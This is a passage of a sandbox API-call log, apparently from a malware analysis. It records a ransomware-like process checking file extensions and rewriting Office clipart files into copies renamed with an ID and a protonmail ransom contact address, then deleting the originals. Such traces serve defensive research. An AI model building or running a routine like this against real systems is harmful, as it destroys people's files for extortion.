	[0075.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.328] lstrlenW (lpString=".rar") returned 4
	[0075.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString=".bz2") returned 4
	[0075.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString=".7z") returned 3
	[0075.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString=".dbf") returned 4
	[0075.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString=".1cd") returned 4
	[0075.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString=".jpg") returned 4
	[0075.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString=".doc") returned 4
	[0075.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString=".docx") returned 5
	[0075.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.328] lstrlenW (lpString=".pdf") returned 4
	[0075.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString=".xls") returned 4
	[0075.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.328] lstrlenW (lpString=".xlsx") returned 5
	[0075.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.328] lstrlenW (lpString=".ppt") returned 4
	[0075.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.329] lstrlenW (lpString=".zip") returned 4
	[0075.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.329] lstrlenW (lpString=".rar") returned 4
	[0075.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.329] lstrlenW (lpString=".bz2") returned 4
	[0075.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.329] lstrlenW (lpString=".7z") returned 3
	[0075.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.329] lstrlenW (lpString=".dbf") returned 4
	[0075.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.329] lstrlenW (lpString=".1cd") returned 4
	[0075.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.329] lstrlenW (lpString=".jpg") returned 4
	[0075.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.329] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.329] lstrlenW (lpString="BOAT.WMF") returned 8
	[0075.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.637] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3350) returned 1
	[0075.637] CloseHandle (hObject=0x338) returned 1
	[0075.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220
	[0075.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.637] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.637] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0075.638] GetLastError () returned 0x0
	[0075.638] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xd16, lpOverlapped=0x0) returned 1
	[0075.639] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0075.640] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.640] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0075.640] SetEndOfFile (hFile=0x394) returned 1
	[0075.641] CloseHandle (hObject=0x394) returned 1
	[0075.642] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.642] SetEndOfFile (hFile=0x338) returned 1
	[0075.643] CloseHandle (hObject=0x338) returned 1
	[0075.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1
	[0075.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.643] lstrlenW (lpString=".doc") returned 4
	[0075.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString=".docx") returned 5
	[0075.644] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0075.644] lstrlenW (lpString=".pdf") returned 4
	[0075.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString=".xls") returned 4
	[0075.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.644] lstrlenW (lpString=".xlsx") returned 5
	[0075.644] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0075.644] lstrlenW (lpString=".ppt") returned 4
	[0075.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.644] lstrlenW (lpString=".zip") returned 4
	[0075.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.644] lstrlenW (lpString=".rar") returned 4
	[0075.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString=".bz2") returned 4
	[0075.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString=".7z") returned 3
	[0075.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.644] lstrlenW (lpString=".dbf") returned 4
	[0075.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.644] lstrlenW (lpString=".1cd") returned 4
	[0075.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.644] lstrlenW (lpString=".jpg") returned 4
	[0075.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.645] lstrlenW (lpString=".doc") returned 4
	[0075.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString=".docx") returned 5
	[0075.645] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0075.645] lstrlenW (lpString=".pdf") returned 4
	[0075.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString=".xls") returned 4
	[0075.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.645] lstrlenW (lpString=".xlsx") returned 5
	[0075.645] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0075.645] lstrlenW (lpString=".ppt") returned 4
	[0075.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.645] lstrlenW (lpString=".zip") returned 4
	[0075.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.645] lstrlenW (lpString=".rar") returned 4
	[0075.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString=".bz2") returned 4
	[0075.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString=".7z") returned 3
	[0075.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.645] lstrlenW (lpString=".dbf") returned 4
	[0075.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.645] lstrlenW (lpString=".1cd") returned 4
	[0075.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64
	[0075.645] lstrlenW (lpString=".jpg") returned 4
	[0075.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.646] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.646] lstrlenW (lpString="BS00076_.WMF") returned 12
	[0075.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.646] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1330) returned 1
	[0075.646] CloseHandle (hObject=0x338) returned 1
	[0075.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220
	[0075.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.646] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.646] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0075.647] GetLastError () returned 0x0
	[0075.647] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x532, lpOverlapped=0x0) returned 1
	[0075.648] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x540, lpOverlapped=0x0) returned 1
	[0075.649] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.649] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.650] SetEndOfFile (hFile=0x394) returned 1
	[0075.650] CloseHandle (hObject=0x394) returned 1
	[0075.651] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.651] SetEndOfFile (hFile=0x338) returned 1
	[0075.652] CloseHandle (hObject=0x338) returned 1
	[0075.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1
	[0075.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.652] lstrlenW (lpString=".doc") returned 4
	[0075.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.652] lstrlenW (lpString=".docx") returned 5
	[0075.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.652] lstrlenW (lpString=".pdf") returned 4
	[0075.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString=".xls") returned 4
	[0075.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.653] lstrlenW (lpString=".xlsx") returned 5
	[0075.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.653] lstrlenW (lpString=".ppt") returned 4
	[0075.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString=".zip") returned 4
	[0075.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.653] lstrlenW (lpString=".rar") returned 4
	[0075.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString=".bz2") returned 4
	[0075.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString=".7z") returned 3
	[0075.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString=".dbf") returned 4
	[0075.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString=".1cd") returned 4
	[0075.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString=".jpg") returned 4
	[0075.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.653] lstrlenW (lpString=".doc") returned 4
	[0075.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.653] lstrlenW (lpString=".docx") returned 5
	[0075.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.654] lstrlenW (lpString=".pdf") returned 4
	[0075.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString=".xls") returned 4
	[0075.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.654] lstrlenW (lpString=".xlsx") returned 5
	[0075.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.654] lstrlenW (lpString=".ppt") returned 4
	[0075.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.654] lstrlenW (lpString=".zip") returned 4
	[0075.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.654] lstrlenW (lpString=".rar") returned 4
	[0075.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString=".bz2") returned 4
	[0075.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString=".7z") returned 3
	[0075.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.654] lstrlenW (lpString=".dbf") returned 4
	[0075.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.654] lstrlenW (lpString=".1cd") returned 4
	[0075.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0075.654] lstrlenW (lpString=".jpg") returned 4
	[0075.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.654] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.655] lstrlenW (lpString="BS00078_.WMF") returned 12
	[0075.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.656] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1444) returned 1
	[0075.656] CloseHandle (hObject=0x338) returned 1
	[0075.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220
	[0075.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.659] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.660] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0075.660] GetLastError () returned 0x0
	[0075.660] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x5a4, lpOverlapped=0x0) returned 1
	[0075.661] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0075.663] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.663] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.663] SetEndOfFile (hFile=0x394) returned 1
	[0075.663] CloseHandle (hObject=0x394) returned 1
	[0075.664] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.664] SetEndOfFile (hFile=0x338) returned 1
	[0075.665] CloseHandle (hObject=0x338) returned 1
	[0075.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1
	[0075.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.666] lstrlenW (lpString=".doc") returned 4
	[0075.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString=".docx") returned 5
	[0075.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.666] lstrlenW (lpString=".pdf") returned 4
	[0075.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString=".xls") returned 4
	[0075.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.666] lstrlenW (lpString=".xlsx") returned 5
	[0075.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.666] lstrlenW (lpString=".ppt") returned 4
	[0075.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.666] lstrlenW (lpString=".zip") returned 4
	[0075.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.666] lstrlenW (lpString=".rar") returned 4
	[0075.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString=".bz2") returned 4
